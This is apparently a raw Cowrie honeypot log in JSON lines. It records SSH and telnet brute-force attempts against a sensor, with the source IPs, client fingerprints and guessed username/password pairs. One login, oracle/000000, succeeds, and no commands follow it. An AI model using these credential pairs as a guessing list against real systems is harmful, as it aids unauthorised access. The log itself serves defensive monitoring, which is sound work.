{"eventid":"cowrie.login.failed","username":"user3","password":"qwerty","message":"login attempt [user3/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:07.420617Z","src_ip":"118.196.64.77","session":"1817b50f0c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:08.646400Z","src_ip":"118.196.64.77","session":"1817b50f0c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.102405786514282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:13.718053Z","src_ip":"46.4.8.162","session":"e5a6fe12757e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.03051996231079,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:18.284543Z","src_ip":"46.4.8.162","session":"3d5403fed210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45714,"dst_ip":"159.203.135.109","dst_port":22,"session":"61f1af01fab6","protocol":"ssh","message":"New connection: 159.203.92.129:45714 (159.203.135.109:22) [session: 61f1af01fab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:18.442032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:18.450178Z","src_ip":"159.203.92.129","session":"61f1af01fab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:18.456049Z","src_ip":"159.203.92.129","session":"61f1af01fab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerasdf","message":"login attempt [admin/qwerasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:18.481548Z","src_ip":"159.203.92.129","session":"61f1af01fab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:19.487920Z","src_ip":"159.203.92.129","session":"61f1af01fab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":56624,"dst_ip":"159.203.135.109","dst_port":22,"session":"2405cd88504c","protocol":"ssh","message":"New connection: 185.239.84.249:56624 (159.203.135.109:22) [session: 2405cd88504c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:20.144566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:20.149660Z","src_ip":"185.239.84.249","session":"2405cd88504c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:20.365009Z","src_ip":"185.239.84.249","session":"2405cd88504c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pizza","message":"login attempt [root/pizza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:21.256753Z","src_ip":"185.239.84.249","session":"2405cd88504c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:22.474156Z","src_ip":"185.239.84.249","session":"2405cd88504c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.352664947509766,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:32.311688Z","src_ip":"46.4.8.162","session":"58eed254a48e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40960,"dst_ip":"159.203.135.109","dst_port":22,"session":"068e0ffdeb1f","protocol":"ssh","message":"New connection: 159.203.92.129:40960 (159.203.135.109:22) [session: 068e0ffdeb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:01.156063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:01.161107Z","src_ip":"159.203.92.129","session":"068e0ffdeb1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:01.166239Z","src_ip":"159.203.92.129","session":"068e0ffdeb1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty123456","message":"login attempt [admin/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:01.180966Z","src_ip":"159.203.92.129","session":"068e0ffdeb1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:02.247832Z","src_ip":"159.203.92.129","session":"068e0ffdeb1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":15181,"dst_ip":"10.17.0.5","dst_port":22,"session":"f16476d7d9b5","protocol":"ssh","message":"New connection: 212.154.234.9:15181 (10.17.0.5:22) [session: f16476d7d9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:09.119521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:09.125632Z","src_ip":"212.154.234.9","session":"f16476d7d9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:09.308588Z","src_ip":"212.154.234.9","session":"f16476d7d9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"1234","message":"login attempt [ftpadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:10.071634Z","src_ip":"212.154.234.9","session":"f16476d7d9b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:11.258036Z","src_ip":"212.154.234.9","session":"f16476d7d9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":49062,"dst_ip":"159.203.135.109","dst_port":22,"session":"caf2ade3e5ed","protocol":"ssh","message":"New connection: 185.239.84.249:49062 (159.203.135.109:22) [session: caf2ade3e5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:18.566351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:18.571236Z","src_ip":"185.239.84.249","session":"caf2ade3e5ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:18.781297Z","src_ip":"185.239.84.249","session":"caf2ade3e5ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qw123","message":"login attempt [root/123qw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:19.409830Z","src_ip":"185.239.84.249","session":"caf2ade3e5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55274,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a9b97229f33","protocol":"telnet","message":"New connection: 46.4.8.162:55274 (159.203.135.109:23) [session: 2a9b97229f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:19.482414Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:20.622319Z","src_ip":"185.239.84.249","session":"caf2ade3e5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50616,"dst_ip":"159.203.135.109","dst_port":22,"session":"e62e280f9135","protocol":"ssh","message":"New connection: 159.203.92.129:50616 (159.203.135.109:22) [session: e62e280f9135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:45.964818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:45.970006Z","src_ip":"159.203.92.129","session":"e62e280f9135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:45.975077Z","src_ip":"159.203.92.129","session":"e62e280f9135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertyasdfgh","message":"login attempt [admin/qwertyasdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:45.986698Z","src_ip":"159.203.92.129","session":"e62e280f9135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:46.994408Z","src_ip":"159.203.92.129","session":"e62e280f9135","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35878,"dst_ip":"159.203.135.109","dst_port":23,"session":"212b875307e3","protocol":"telnet","message":"New connection: 46.4.8.162:35878 (159.203.135.109:23) [session: 212b875307e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:50.150952Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35884,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7ab6fd5e094","protocol":"telnet","message":"New connection: 46.4.8.162:35884 (159.203.135.109:23) [session: f7ab6fd5e094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:50.579576Z"}
{"eventid":"cowrie.session.closed","duration":32.53743100166321,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:52.019736Z","src_ip":"46.4.8.162","session":"2a9b97229f33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35888,"dst_ip":"159.203.135.109","dst_port":23,"session":"583012ea1fdf","protocol":"telnet","message":"New connection: 46.4.8.162:35888 (159.203.135.109:23) [session: 583012ea1fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:36:52.413368Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":49972,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef0e1687ac7","protocol":"ssh","message":"New connection: 185.239.84.249:49972 (159.203.135.109:22) [session: bef0e1687ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:16.192897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:16.197942Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:16.402792Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"000000","message":"login attempt [oracle/000000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:17.034403Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:17.514779Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
